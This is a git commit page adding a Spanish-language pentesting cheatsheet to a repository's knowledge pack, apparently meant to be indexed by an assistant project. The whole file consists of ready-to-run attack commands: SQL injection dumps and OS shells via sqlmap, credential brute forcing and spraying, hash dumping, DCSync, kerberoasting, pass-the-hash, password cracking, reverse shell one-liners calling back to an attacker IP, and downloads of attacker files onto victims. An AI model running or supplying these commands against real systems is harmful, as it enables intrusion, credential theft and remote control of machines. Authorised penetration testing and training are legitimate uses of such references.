hacklab/JARVIS
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

conocimiento: cheatsheet de comandos de herramientas sin man page

Browse source 
Referencia densa de invocaciones de ffuf, sqlmap, impacket, crackmapexec,
hydra, nuclei, evil-winrm, bloodhound-python y demas: las herramientas de
pentesting que no traen man page y que por tanto el indexado de sistema no
alcanza. Se indexa con el resto del pack (conocimiento/).
This commit is contained in:
sito 2026-08-16 18:33:10 +02:00
parent 7e06ce46cf
commit 1dfb3513e6
1 changed files with 144 additions and 0 deletions
Download patch file Download diff file Expand all files Collapse all files

144
nucleo/saber/conocimiento/06 - Cheatsheets/Comandos de herramientas.md Normal file
View file

@ -0,0 +1,144 @@
# Comandos de herramientas de pentesting
Referencia densa de las invocaciones mas usadas de las herramientas que NO traen
man page. Marcadores: `IP` objetivo, `TU_IP` atacante, `DOM` dominio, `USER`,
`PASS`, `HASH` (NTLM), `URL`, `WL` wordlist.
## Descubrimiento de contenido web
```bash
# ffuf
ffuf -u http://IP/FUZZ -w WL -mc 200,301,302,401,403 -e .php,.txt,.html
ffuf -u http://IP/ -w WL -H "Host: FUZZ.dominio.com" -fs 4242 # vhost
ffuf -u "http://IP/page?FUZZ=1" -w WL -fw 42 # parametros
ffuf -u http://IP/api/FUZZ -w WL -mc all -fc 404 -recursion
# feroxbuster
feroxbuster -u http://IP -w WL -x php,txt,html -d 2 -t 50
feroxbuster -u http://IP --filter-status 404 --extract-links
# gobuster
gobuster dir -u http://IP -w WL -x php,txt -t 40 -b 404
gobuster dns -d dominio.com -w WL
gobuster vhost -u http://IP -w WL --append-domain
```
## Inyeccion SQL automatica (sqlmap)
```bash
sqlmap -u "http://IP/page?id=1" --batch --dbs
sqlmap -u "http://IP/page?id=1" -D basedatos --tables
sqlmap -u "http://IP/page?id=1" -D basedatos -T users --dump
sqlmap -r peticion.txt --batch --level 5 --risk 3 # peticion de Burp
sqlmap -u URL --os-shell # a shell
sqlmap -u URL --data "user=1&pass=1" -p user # POST
```
## Escaneo de vulnerabilidades (nuclei)
```bash
nuclei -u http://IP
nuclei -l objetivos.txt -severity critical,high
nuclei -u http://IP -t cves/ -t exposures/
nuclei -u http://IP -tags sqli,xss,lfi
```
## Fuerza bruta de credenciales (hydra)
```bash
hydra -l USER -P WL ssh://IP
hydra -L users.txt -P WL IP ssh -t 4
hydra -l USER -P WL IP http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
hydra -l USER -P WL ftp://IP
hydra -L users.txt -p PASS smb://IP # spraying
```
## Active Directory y Windows (impacket, netexec, evil-winrm)
```bash
# CrackMapExec / NetExec — el navaja suiza de AD
crackmapexec smb IP -u USER -p PASS --shares
crackmapexec smb 10.0.0.0/24 -u USER -p PASS # barrido/spray
crackmapexec smb IP -u USER -H HASH --sam # pass-the-hash + dump SAM
crackmapexec winrm IP -u USER -p PASS -x "whoami"
netexec smb IP -u USER -p PASS --users --groups
# Impacket
impacket-secretsdump DOM/USER:PASS@IP # dump de hashes
impacket-secretsdump -just-dc DOM/USER@IP -hashes :HASH # DCSync (con priv)
impacket-GetUserSPNs DOM/USER:PASS -dc-ip IP -request # kerberoasting
impacket-GetNPUsers DOM/ -usersfile users.txt -no-pass # AS-REP roasting
impacket-getTGT DOM/USER:PASS # pedir TGT (Pass-the-Ticket)
impacket-psexec DOM/USER:PASS@IP # shell SYSTEM
impacket-wmiexec DOM/USER:PASS@IP # shell sin tocar disco
impacket-smbexec DOM/USER@IP -hashes :HASH
impacket-mssqlclient DOM/USER:PASS@IP -windows-auth
# BloodHound (recoleccion)
bloodhound-python -d DOM -u USER -p PASS -ns IP -c all
# despues: neo4j console; y cargar el zip en BloodHound
# Evil-WinRM (shell interactiva Windows)
evil-winrm -i IP -u USER -p PASS
evil-winrm -i IP -u USER -H HASH # pass-the-hash
```
## Cracking de contraseñas (john, hashcat)
```bash
# John
john --wordlist=WL hashes.txt
john --wordlist=WL --format=NT hashes.txt
zip2john fichero.zip > hash; john hash
ssh2john id_rsa > hash; john --wordlist=WL hash
# Hashcat (modo -m)
hashcat -m 1000 hashes.txt WL # NTLM
hashcat -m 0 hashes.txt WL # MD5
hashcat -m 100 hashes.txt WL # SHA1
hashcat -m 1800 hashes.txt WL # sha512crypt (/etc/shadow $6$)
hashcat -m 13100 hashes.txt WL # Kerberoast (TGS)
hashcat -m 18200 hashes.txt WL # AS-REP
hashcat -m 5600 hashes.txt WL # NetNTLMv2 (Responder)
hashcat -m 22000 hash.hc22000 WL # WPA/WPA2
```
## Recon de red (nmap, comun)
```bash
nmap -sn 10.0.0.0/24 # hosts vivos
nmap -p- --min-rate 5000 IP # todos los puertos, rapido
nmap -sV -sC -p 22,80,443 IP # version + scripts
nmap -sU --top-ports 20 IP # UDP
nmap --script vuln IP
```
## Shells reversas y estabilizacion
```bash
# Escucha
nc -lvnp 4444
rlwrap nc -lvnp 4444 # con historial
# Disparo (Linux)
bash -i >& /dev/tcp/TU_IP/4444 0>&1
sh -i >& /dev/tcp/TU_IP/4444 0>&1
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("TU_IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
# Estabilizar la TTY tras coger la shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z; en tu terminal: stty raw -echo; fg; luego: export TERM=xterm
```
## Transferencia de ficheros
```bash
# Servir desde el atacante
python3 -m http.server 80
impacket-smbserver share $(pwd) -smb2support # SMB
# Recibir en la victima
wget http://TU_IP/file -O /tmp/file
curl http://TU_IP/file -o /tmp/file
certutil -urlcache -f http://TU_IP/file file.exe # Windows
powershell iwr http://TU_IP/file -OutFile file # Windows
```